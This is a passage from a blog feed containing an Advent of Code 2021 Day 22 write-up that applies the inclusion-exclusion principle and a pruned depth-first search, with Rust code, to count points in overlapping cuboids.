&lt;p&gt;Given two sets $A$ and $B$, we can compute the union through $|A &#92;cup B| = |A| + |B| - |A &#92;cap B|$. The idea is that we add $A$ and $B$; but since we double-counted the overlapping region ($A &#92;cap B$), we subtract it once to balance things out. It turns out this principle can be generalised for any number of sets.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Venn diagram of the inclusion-exclusion principle.&quot; href=&quot;https://trebledj.me/img/VennDiagram_900-1024w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-65 alpha-img&quot; src=&quot;https://trebledj.me/img/VennDiagram_900-351w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 351 / 152&quot; alt=&quot;Venn diagram of the inclusion-exclusion principle.&quot; title=&quot;Venn diagram of the inclusion-exclusion principle.&quot; srcset=&quot;https://trebledj.me/img/VennDiagram_900-256w.webp 256w, https://trebledj.me/img/VennDiagram_900-351w.webp 351w, https://trebledj.me/img/VennDiagram_900-512w.webp 512w, https://trebledj.me/img/VennDiagram_900-1024w.webp 1024w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 351px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Take a look at the diagram and convince yourself that for three sets, we have&lt;/p&gt;
&lt;p&gt;$$
&#92;begin{align*}
|A&#92;nobreak&#92;cup&#92;nobreak B&#92;nobreak&#92;cup&#92;nobreak C| = &amp;amp;|A| + |B| + |C| &#92;&#92;
&amp;amp;- |A &#92;cap B| - |A &#92;cap C| - |B &#92;cap C| &#92;&#92;
&amp;amp;+ |A &#92;cap B &#92;cap C|.
&#92;end{align*}
$$&lt;/p&gt;
&lt;p&gt;The inclusion-exclusion principle extends this idea to $n$ sets by including (adding) sets and excluding (subtracting) sets. The general formula for $n$ sets is&lt;/p&gt;
&lt;p&gt;$$
&#92;left| &#92;bigcup_{i=0}^n A_i &#92;right| = &#92;sum_{k=1}^n (-1)^{k+1} &#92;left( &#92;sum_{1 &#92;le i_1 &amp;lt; &#92;cdots &amp;lt; i_k &#92;le n} |A_{i_1} &#92;cap &#92;cdots &#92;cap A_{i_k}| &#92;right).
$$&lt;/p&gt;
&lt;h3 id=&quot;the-inclusion-exclusion-principle-as-dfs&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/aoc-2021-day-22/#the-inclusion-exclusion-principle-as-dfs&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; The Inclusion-Exclusion Principle as DFS&lt;/h3&gt;
&lt;p&gt;Earlier I mentioned DFS with pruning. Why DFS?&lt;/p&gt;
&lt;p&gt;Let’s say we want to evaluate $|A &#92;cup B &#92;cup C|$. In a breadth-first approach, we would first evaluate the $k=1$ sets ($|A|$, $|B|$, $|C|$), followed by the $k=2$ sets ($|A &#92;cap B|$, $|A &#92;cap C|$, $|B &#92;cap C|$), and so on. However, a depth-first approach would be more efficient in this case. Once we’ve computed $|A &#92;cap B|$, we can compute $|A &#92;cap B &#92;cap C|$ as well.&lt;/p&gt;
&lt;p&gt;Here’s a DFS tree for computing $|A &#92;cup B &#92;cup C|$:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-text&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;A u B u C
|-- A
|   |-- A n B
|   |   |-- A n B n C
|   |
|   |-- A n C
|
|-- B
|   |-- B n C
|
|-- C&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Can we parallelise this? Probably. But let’s leave that for another time.&lt;/p&gt;
&lt;p&gt;Now what if two sets are disjoint? Suppose $A = ((0, 10), (0, 10), (0, 10))$ and $B = ((100, 200), (0, 10), (0, 10))$. These two sets have nothing in common, i.e. $A &#92;cap B = &#92;varnothing$. It follows that $A &#92;cap B &#92;cap C = &#92;varnothing$. Thus, once we know a set has no intersection, we don’t need to further explore its branches. This is the &lt;strong&gt;pruning&lt;/strong&gt; part of the DFS.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-rust&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-rust&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// @brief   Computes the number of points in a cuboid.&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// @return  Number of points in a cuboid.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;token function-definition function&quot;&gt;eval_cuboid&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;x1&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; x2&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;y1&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; y2&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;z1&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; z2&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Cuboid&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;u64&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;...&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// @brief   Computes the intersection of a cuboid.&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// @return  Some(Cuboid) if the intersection exists, None otherwise.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;token function-definition function&quot;&gt;intersect&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;x1&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; y1&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; z1&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Cuboid&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;x2&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; y2&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; z2&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Cuboid&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Option&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Cuboid&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;...&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// @brief    Finds the intersection between two ranges.&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// @return   Some((cube_t, cube_t)) if an intersection exists, None if there is no intersection.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;token function-definition function&quot;&gt;range_intersect&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;a1&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; a2&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;cube_t&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; cube_t&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;b1&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; b2&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;cube_t&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; cube_t&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Option&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;cube_t&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; cube_t&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;...&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// @brief    eval_union computes the number of points in the union of sets `u`.&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;//&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// @param    lookup: A lookup table of cuboids. Our sets will be represented as an array of indices (storing one i32 instead of six i32&#39;s).&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// @param    add: Whether the current iteration adds or subtracts the union.&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// @param    int: The current intersected cuboid.&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// @param    u: The set of cuboids in the current union.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;token function-definition function&quot;&gt;eval_union&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;lookup&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Vec&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Cuboid&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; add&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;bool&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; int&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Cuboid&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; u&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;usize&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;i64&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    u&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;iter&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;enumerate&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token closure-params&quot;&gt;&lt;span class=&quot;token closure-punctuation punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;tag&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token closure-punctuation punctuation&quot;&gt;|&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;match&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;intersect&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;int&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;lookup&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;tag&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;token class-name&quot;&gt;Some&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;next_int&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; v &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;eval_cuboid&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;next_int&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;i64&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
                &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; rest &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;eval_union&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;lookup&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;add&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; next_int&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;u&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
                &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; add &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
                    rest &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; v
                &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
                    rest &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; v
                &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;token comment&quot;&gt;// No intersection. No need to evaluate deeper, since any intersection with the empty set will just be the empty set.&lt;/span&gt;
            &lt;span class=&quot;token class-name&quot;&gt;None&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;sum&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;i64&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; scope &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;200000&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;200000&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;200000&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;200000&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;200000&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;200000&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
alternating_unions
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;iter&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;enumerate&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token closure-params&quot;&gt;&lt;span class=&quot;token closure-punctuation punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; u&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token closure-punctuation punctuation&quot;&gt;|&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;eval_union&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;lookup&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; scope&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;u&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;sum&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;i64&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Rust&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;
&lt;h2 id=&quot;final-remarks&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/aoc-2021-day-22/#final-remarks&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Final Remarks&lt;/h2&gt;
&lt;p&gt;This was one of the more challenging (but also rewarding!) Advent of Code challenges this year. Some others propose a cuboid-slicing method as opposed to set theory. However, I find this approach difficult to grasp and plan. Moreover, cuboid-slicing appears more difficult to generalise into higher dimensions, whereas with the set theoretic approach you pretty much just need to change the data types and &lt;code&gt;intersect&lt;/code&gt; functions.&lt;/p&gt;
&lt;p&gt;Anyway, let’s end on a pedagogical note. Here are some exercises for the reader:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The set expression we built above contains some redundant information. What is redundant, and how can we optimise it?&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;In the code above, we initialised our search with a scope.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-rust&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-rust&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; scope &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;200000&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;200000&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;200000&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;200000&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;200000&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;200000&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Rust&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Points outside the scope won’t be considered. Rewrite the evaluation logic so that a scope doesn’t need to be specified.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;In this post, we used a union-based approach, i.e. storing an alternating set of unions, then computing it by applying the inclusion-exclusion principle. Try rewriting the algorithm into an intersection-based approach. Instead of storing unions, store sets of intersections.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;What are the computation differences?&lt;/li&gt;
&lt;li&gt;Compare the two algorithms. Under what circumstances are one better?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;full-script&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/aoc-2021-day-22/#full-script&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Full Script&lt;/h2&gt;
&lt;p&gt;For completeness, here&#39;s the full d22.rs script.&lt;/p&gt;
&lt;script src=&quot;https://gist.github.com/TrebledJ/7190c102579bfde273a7b74e90116b49.js&quot;&gt;&lt;/script&gt;
</content>
        
          <category>programming</category>
        
          <category>aoc</category>
        
          <category>rust</category>
        
          <category>mathematics</category>
        
          <category>writeup</category>
        
      </entry>
    
  
    
      
      <entry>
        <title>Implicit Parameters in Scala and Haskell</title>
        <description>...and also C++ (kinda).</description>
